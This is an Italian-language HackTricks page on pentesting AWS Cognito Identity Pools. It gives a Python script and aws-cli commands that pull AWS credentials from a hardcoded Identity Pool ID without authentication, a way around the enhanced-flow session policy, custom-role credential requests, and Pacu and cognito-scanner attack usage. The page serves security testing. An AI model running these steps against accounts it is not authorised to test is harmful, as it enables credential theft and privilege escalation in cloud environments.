Cognito Identity Pools

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di base

I pool di identità svolgono un ruolo cruciale consentendo ai tuoi utenti di acquisire credenziali temporanee. Queste credenziali sono essenziali per accedere a vari servizi AWS, tra cui ma non limitati a Amazon S3 e DynamoDB. Una caratteristica notevole dei pool di identità è il supporto sia per gli utenti ospiti anonimi che per una serie di fornitori di identità per l'autenticazione degli utenti. I fornitori di identità supportati includono:

  • Pool di utenti Amazon Cognito

  • Opzioni di accesso tramite social network come Facebook, Google, Login with Amazon e Sign in with Apple

  • Fornitori conformi a OpenID Connect (OIDC)

  • Fornitori di identità SAML (Security Assertion Markup Language)

  • Identità autenticate dallo sviluppatore

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Per generare sessioni di Identity Pool, è necessario prima generare un Identity ID. Questo Identity ID è l'identificazione della sessione di quell'utente. Queste identificazioni possono avere fino a 20 set di dati che possono memorizzare fino a 1MB di coppie chiave-valore.

Questo è utile per conservare le informazioni di un utente (che utilizzerà sempre lo stesso Identity ID).

Inoltre, il servizio cognito-sync è il servizio che consente di gestire e sincronizzare queste informazioni (nei set di dati, inviando informazioni in stream e messaggi SNS...).

Strumenti per il pentesting

  • Pacu, il framework di sfruttamento di AWS, include ora i moduli "cognito__enum" e "cognito__attack" che automatizzano l'enumerazione di tutti gli asset di Cognito in un account e segnalano configurazioni deboli, attributi utente utilizzati per il controllo degli accessi, ecc., e automatizzano anche la creazione dell'utente (incluso il supporto MFA) e l'escalation dei privilegi basata su attributi personalizzabili modificabili, credenziali di Identity Pool utilizzabili, ruoli assumibili nei token di identità, ecc.

Per una descrizione delle funzioni dei moduli, vedere la parte 2 del post del blog. Per le istruzioni di installazione, vedere la pagina principale di Pacu.

Utilizzo

Esempio di utilizzo di cognito__attack per tentare la creazione dell'utente e tutti i vettori di escalation dei privilegi contro un determinato Identity Pool e un client di User Pool:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Esempio di utilizzo di cognito__enum per raccogliere tutti i pool di utenti, i client dei pool di utenti, i pool di identità, gli utenti, ecc. visibili nell'account AWS corrente:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner è un tool CLI in python che implementa diversi attacchi su Cognito, inclusa la creazione indesiderata di account e l'escalation del pool di identità.

Installazione

$ pip install cognito-scanner

Utilizzo

$ cognito-scanner --help

Per ulteriori informazioni, visita https://github.com/padok-team/cognito-scanner

Accesso alle IAM Roles

Non autenticato

L'unica cosa di cui un attaccante ha bisogno per ottenere le credenziali AWS in un'app Cognito come utente non autenticato è l'Identity Pool ID, e questo ID deve essere codificato nell'applicazione web/mobile per poterlo utilizzare. Un ID ha un formato simile a questo: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (non è possibile forzarne la scoperta tramite attacco di forza bruta).

Il ruolo IAM Cognito non autenticato creato tramite è chiamato di default Cognito_<Nome Identity Pool>Unauth_Role

Se trovi un Identity Pool ID codificato e consente l'accesso agli utenti non autenticati, puoi ottenere le credenziali AWS con:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Oppure puoi utilizzare i seguenti comandi aws cli:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Nota che per impostazione predefinita un utente Cognito non può avere alcun permesso, anche se è stato assegnato tramite una policy. Controlla la sezione seguente.

Flusso di autenticazione avanzato vs di base

La sezione precedente ha seguito il flusso di autenticazione avanzato predefinito. Questo flusso imposta una policy di sessione restrittiva per la sessione del ruolo IAM generata. Questa policy consentirà solo alla sessione di utilizzare i servizi da questa lista (anche se il ruolo aveva accesso ad altri servizi).

Tuttavia, c'è un modo per aggirare questo, se l'Identity pool ha abilitato il flusso "Basic (Classic)", l'utente sarà in grado di ottenere una sessione utilizzando quel flusso che non avrà quella policy di sessione restrittiva.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Se ricevi questo errore, è perché il flusso di base non è abilitato (predefinito)

Si è verificato un errore (InvalidParameterException) durante la chiamata all'operazione GetOpenIdToken: il flusso di base (classico) non è abilitato, utilizzare il flusso avanzato.

Avendo un insieme di credenziali IAM, dovresti verificare a quale accesso hai diritto e cercare di aumentare i privilegi.

Autenticato

Ricorda che agli utenti autenticati verranno probabilmente concessi permessi diversi, quindi se puoi registrarti nell'app, prova a farlo e ottieni le nuove credenziali.

Potrebbero anche essere disponibili ruoli per gli utenti autenticati che accedono all'Identity Pool.

Per questo potresti aver bisogno di avere accesso al provider di identità. Se si tratta di un Cognito User Pool, potresti sfruttare il comportamento predefinito e creare un nuovo utente tu stesso.

Il ruolo IAM Cognito autenticato creato tramite è chiamato per impostazione predefinita Cognito_<Nome Identity Pool>Auth_Role

In ogni caso, l'esempio seguente presuppone che tu abbia già effettuato l'accesso a un Cognito User Pool utilizzato per accedere all'Identity Pool (non dimenticare che potrebbero essere configurati anche altri tipi di provider di identità).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Ottieni l'identity_id dalla risposta del comando precedente
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# Nel token di identità puoi trovare i ruoli a cui un utente ha accesso a causa dei gruppi del pool utenti
# Usa --custom-role-arn per ottenere le credenziali per un ruolo specifico
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

È possibile configurare ruoli IAM diversi a seconda del provider di identità con cui l'utente effettua l'accesso o addirittura solo in base all'utente (utilizzando le asserzioni). Pertanto, se hai accesso a diversi utenti attraverso lo stesso o diversi provider, potrebbe essere utile effettuare l'accesso e accedere ai ruoli IAM di tutti loro.

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated